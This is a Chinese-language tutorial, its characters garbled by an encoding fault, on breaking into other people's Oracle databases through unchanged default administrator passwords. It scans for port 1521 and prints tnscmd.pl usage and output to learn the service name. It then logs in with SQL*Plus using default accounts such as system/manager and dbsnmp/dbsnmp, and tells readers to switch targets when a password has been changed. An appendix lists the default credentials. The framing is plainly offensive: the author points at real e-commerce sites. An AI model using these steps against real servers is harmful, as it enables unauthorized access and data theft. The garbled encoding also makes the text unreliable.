Oracle默認(rèn)管理員帶來(lái)的數(shù)據(jù)庫(kù)安全隱患
Oracle默認(rèn)管理員密碼是固定的,這是為了安裝和調(diào)試的方便。Oracle數(shù)據(jù)庫(kù)中的兩個(gè)具有DBA權(quán)限的用戶Sys和System。筆者發(fā)現(xiàn)很多國(guó)內(nèi)網(wǎng)站的Oracle數(shù)據(jù)庫(kù)沒(méi)有更改這兩個(gè)用戶的密碼,其中也包括很多大型的電子商務(wù)網(wǎng)站,我們就可以利用這個(gè)缺省密碼去找我們感興趣的東西。
進(jìn)行測(cè)試前我們先來(lái)了解一些相關(guān)的知識(shí),我們連接一個(gè)Oracle數(shù)據(jù)庫(kù)的時(shí)候,需要知道它的service_name或者是Sid值,就象mssql一樣,需要知道數(shù)據(jù)庫(kù)名。那如何去知道呢,猜?呵呵,顯然是不行的。這里我們先講講oracle的TNSlistener,它位于數(shù)據(jù)庫(kù)Client和數(shù)據(jù)庫(kù)Server之間,默認(rèn)監(jiān)聽(tīng)1521端口,這個(gè)監(jiān)聽(tīng)端口是可以更改的。但是如果你用一個(gè)tcp的session去連接1521端口的話,oracle將不會(huì)返回它的banner,如果你輸入一些東西的話,它甚至有可能把你踢出去。這里我們就需要用tnscmd.pl這個(gè)perl程序了,它可以查詢遠(yuǎn)程 oracle數(shù)據(jù)庫(kù)是否開(kāi)啟(也就是ping了),查詢版本,以及查詢它的服務(wù)名,服務(wù)狀態(tài)和數(shù)據(jù)庫(kù)服務(wù)名,而且正確率很高。
理論方面的講完了,如果還有什么不懂的可以去查找相關(guān)資料?,F(xiàn)在開(kāi)始測(cè)試吧,需要的工具有:ActivePerl,Oracle客戶端,Superscan或者是其它掃描端口的軟件,Tnscmd.pl.我們先用Superscan掃描開(kāi)放了端口1521的主機(jī),假設(shè)其IP是xx.xx.110.110,這樣目標(biāo)已經(jīng)有了。然后我們要做的就是用Tnscmd.pl來(lái)查詢遠(yuǎn)程數(shù)據(jù)庫(kù)的服務(wù)名了,Tnscmd.pl的用法如下:
- C:\perl\bin@@@@dayu@@@@perl tnscmd.pl
- usage: tnscmd.pl [command] -h hostname
- where "command" is something like ping, version, status,etc.
- (default is ping)
- [-p port] - alternate TCP port to use (default is 1521)
- [--logfile logfile] - write raw packets to specifiedlogfile
- [--indent] - indent & outdent on parens
- [--rawcmd command] - build your own CONNECT_DATA string
- [--cmdsize bytes] - fake TNS command size (revealspacketleakage)
我們下面用的只有簡(jiǎn)單的幾個(gè)命令,其他的命令也很好用,一起去發(fā)掘吧。
然后我們就這樣來(lái):
- C:\perl\bin@@@@dayu@@@@perl tnscmd.pl services -hxx.xx.110.110-p 1521 –indent
- sending (CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521
- writing 91 bytes
- reading
- ._.......6.........?. ..........
- DETION=
- TMP=
- VSNNUM=135286784
- ERR=0
- SERVICES_EXIST=1
- .Q........
- SERVICE=
- SERVICE_NAME=ORCL
- INSTANCE=
- INSTANCE_NAME=ORCL
- NUM=1
- INSTANCE_CLASS=ORACLE
- HANDLER=
- HANDLER_DISPLAY=DEDICATED SERVER
- STA=ready
- HANDLER_INFO=LOCAL SERVER
- HANDLER_MAXLOAD=0
- HANDLER_LOAD=0
- ESTABLISHED=447278
- REFUSED=0
- HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227
- HANDLER_NAME=DEDICATED
- ADDRESS=
- PROTOCOL=beq
- PROGRAM=/home/oracle/bin/oracle
- ENVS="ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL"
- ARGV0=oracleORCL
- ARGS="
- LOCAL=NO
- "
- .........@
從上面得到的信息我們可以看出數(shù)據(jù)庫(kù)的服務(wù)名為ORCL,然后我們就可以通過(guò)sqlplus工具來(lái)遠(yuǎn)程連上它了,用戶名和密碼我們用默認(rèn)的 system/manager或者是sys/manager(Oracle默認(rèn)管理員),其他的如mdsys/mdsys,ctxsys/ctxsys等,這個(gè)默認(rèn)用戶和密碼是隨版本的不同而改變的。如下:
- C:\oracle\ora90\BIN@@@@dayu@@@@sqlplus /nolog
- SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 2311:36:592002
- (c) Copycenter 2001 Oracle Corporation. All centersreserved.
- SQL@@@@dayu@@@@connect system/manager@
- (detion=(address_list=(address=(protocol=tcp)
- (host=xx.xx.110.110)(port=1521)))
- (connect_data=(SERVICE_NAME=ORCL)));
如果密碼正確,那么就會(huì)提示connected,如果不行,再換別的默認(rèn)用戶名和密碼。經(jīng)過(guò)筆者的嘗試一般用dbsnmp/dbsnmp都能進(jìn)去。當(dāng)然如果對(duì)方已經(jīng)把默認(rèn)密碼改了,那我們只能換別的目標(biāo)了。但是我發(fā)現(xiàn)很多都是不改的,這個(gè)就是安全意識(shí)的問(wèn)題了。
附錄 Oracle默認(rèn)管理員密碼
1.
用戶名:sys
密碼:change_on_install
2.
用戶名:system
密碼:manager
3.
用戶名:scott
密碼:tiger
【編輯推薦】